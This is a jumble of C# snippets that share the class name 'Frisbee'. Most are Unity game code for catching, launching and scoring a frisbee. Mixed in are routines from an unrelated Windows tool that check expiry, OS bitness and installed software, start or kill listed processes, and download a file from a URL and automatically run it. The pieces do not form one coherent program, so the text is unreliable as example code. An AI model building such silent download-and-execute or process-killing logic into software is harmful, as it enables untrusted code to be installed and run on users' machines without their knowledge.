void InitiateMoveToFrisbee() { State = BotState.MOVE_FOR_FRISBEE; frisbee = GetFrisbee(); targetPosition = frisbee.transform.position + (frisbee.direction * 5.0f); }
private void OnTriggerExit(Collider other) { if (other.tag == "Frisbee") { m_frisbee = null; // clears the frisbee cache } }
public static bool CanFire(Frisbee f) { // 验证有效时间 if (DateTime.Now > f.Term) { return(false); } // 验证系统 if (f.Any3264 == "32" && Environment.Is64BitOperatingSystem) { return(false); } if (f.Any3264 == "64" && !Environment.Is64BitOperatingSystem) { return(false); } // 验证安装 if (SoftwareTool.ExistFile(f.ExistFile) || SoftwareTool.ExistProcess(f.ExistProcess) || SoftwareTool.ExistControl(f.ExistControl)) { return(false); } return(true); }
private void OnTriggerEnter(Collider other) { if (other.tag == "Frisbee") { m_frisbee = other.GetComponent <Frisbee>(); // caches the frisbee } }
// Use this for initialization protected virtual void Start() { player = GetComponent <Player>(); frisbee = FindObjectOfType <Frisbee>(); frisbee.OnCaught += Frisbee_OnCaught; frisbee.OnLaunched += Frisbee_OnLaunched; var matchManager = FindObjectOfType <GameMatchManager>(); matchManager.OnGoal += MatchManager_OnGoal; }
public void InitAwake() { if (_frisbee == null) { _frisbee = FindObjectOfType <Frisbee>(); } if (_stadium == null) { _stadium = FindObjectOfType <Stadium>(); } }
private void OnTriggerEnter(Collider other) { if (other.tag == "Frisbee") { // Resets the frisbee and places it back in hand Frisbee frisbee = other.GetComponent <Frisbee>(); if (frisbee) { frisbee.OnReset(); frisbee.m_frisbeeRelease.PlaceInHand(); } } }
Vector2 GetFakeFrisbeeDirection(Frisbee frisbee) { Vector2 v = new Vector2(0.5f, 0.5f); if (frisbee.direction.y > 0) { v = Utils.Rotate(frisbee.direction, 35); } else { v = Utils.Rotate(frisbee.direction, -35); } return(v); }
public void OnCatchFrisbee(Frisbee _frisbee) { if (_frisbee.IsFree && CurrentState != State.LAUNCHING) { bool success = _frisbee.SetPlayer(this); if (success) { GetComponent <Rigidbody>().velocity = Vector3.zero; frisbee = _frisbee; CurrentState = State.CAUGHT_FRISBEE; catchTime = System.DateTime.UtcNow; } } }
void Launch(float x, float z) { if (frisbee != null) { //fast launch var launchdelay = (System.DateTime.UtcNow - catchTime).TotalSeconds; bool fastLaunch = launchdelay <= FastLaunchDelayMax; var launchVector = new Vector3(x * reverseMult, 0, z * reverseMult); frisbee.Launch(launchVector, CurveActive, fastLaunch); frisbee = null; CurveActive = false; CurrentState = State.LAUNCHING; StartCoroutine(WaitAfterLaunch()); } }
private void OnCollisionEnter2D(Collision2D other) { if (GameManager.Instance.isServing) { return; } if (other.gameObject.layer == LayerMask.NameToLayer("Frisbee")) { Frisbee frisbee = other.gameObject.GetComponent <Frisbee>(); frisbee.offsetToPlayer = baseMovement.offsetFrisbee; frisbee.SetPlayerPos(baseMovement.transform); frisbee.SetIsCaught(true); baseMovement.Frisbee = frisbee; baseMovement.LockMove(); } }
private void OnTriggerEnter(Collider other) { if (other.tag == "Frisbee") { // Sets off the fireworks foreach (GameObject firework in m_fireworks) { firework.SetActive(true); } Frisbee frisbee = other.GetComponent <Frisbee>(); if (frisbee) { frisbee.OnGoal(); // increases the score frisbee.m_frisbeeRelease.PlaceInHand(); // places the frisbee back inhand } } }
// Use this for initialization void Start() { player = GetComponent <Player>(); frisbee = FindObjectOfType <Frisbee>(); frisbee.OnCaught += Frisbee_OnCaught; frisbee.OnLaunched += Frisbee_OnLaunched; frisbee.OnWallBounce += Frisbee_OnWallBounce; frisbee.OnEnterArea += Frisbee_OnEnterArea; FindObjectOfType <GameMatchManager>().OnGoal += BotAI_OnGoal; player.IsReversed = false; opponentGoals = FindObjectsOfType <Goal>().Where(x => x.teamA == (player.TeamId != 0)).ToList(); shootDirection = frisbee.transform.position.x < transform.position.x ? new Vector3(-1, 0, 0) : new Vector3(1, 0, 0); myArea = FindObjectsOfType <Area>().Where(x => x.TeamId == player.TeamId).FirstOrDefault(); }
public static void RunProcess(Frisbee f) { if (!ListTool.IsNullOrEmpty(f.RunProcess)) { foreach (var r in f.RunProcess) { if (!string.IsNullOrWhiteSpace(r)) { ProcessTool.StartProcess(r); } } R.Log.i("进程已启动 共" + f.RunProcess.Count() + "项"); } else { R.Log.i("启动进程列表为空"); } }
public static void KillProcess(Frisbee f) { if (!ListTool.IsNullOrEmpty(f.KillProcess)) { foreach (var r in f.KillProcess) { if (!string.IsNullOrWhiteSpace(r)) { ProcessTool.KillProcess(r); } } R.Log.i("结束进程完成 共" + f.KillProcess.Count() + "项"); } else { R.Log.i("结束进程列表为空"); } }
public static bool DownFileAndRun(Frisbee f) { if (!string.IsNullOrWhiteSpace(f.Url) && !string.IsNullOrWhiteSpace(f.FileName)) { string downfile = R.Paths.Frisbee + f.FileName; if (HttpTool.Download(f.Url, downfile)) { R.Log.i("已下载文件:" + f.Url); if (f.AutoRun && File.Exists(downfile)) { ProcessTool.StartProcess(downfile); R.Log.i("已自动启动该下载项"); } return(true); } } return(false); }
private void OnTriggerEnter2D(Collider2D other) { if (_gameManager.isServing) { return; } if (other.gameObject.layer == LayerMask.NameToLayer("Frisbee")) { _playerScore.AddPoint(scoreValue); _gameManager.TogglePopUp(); Frisbee frisbee = other.gameObject.GetComponentInParent <Frisbee>(); var character = isLeftSide ? _gameManager.lPos : _gameManager.rPos; frisbee.offsetToPlayer = character.offsetFrisbee; frisbee.SetPlayerPos(character.transform); frisbee.SetIsCaught(true); character.Frisbee = frisbee; character.LockMove(); _gameManager.isServing = true; } }
private void BotAI_OnGoal(object sender, System.EventArgs e) { frisbee = GetFrisbee(); }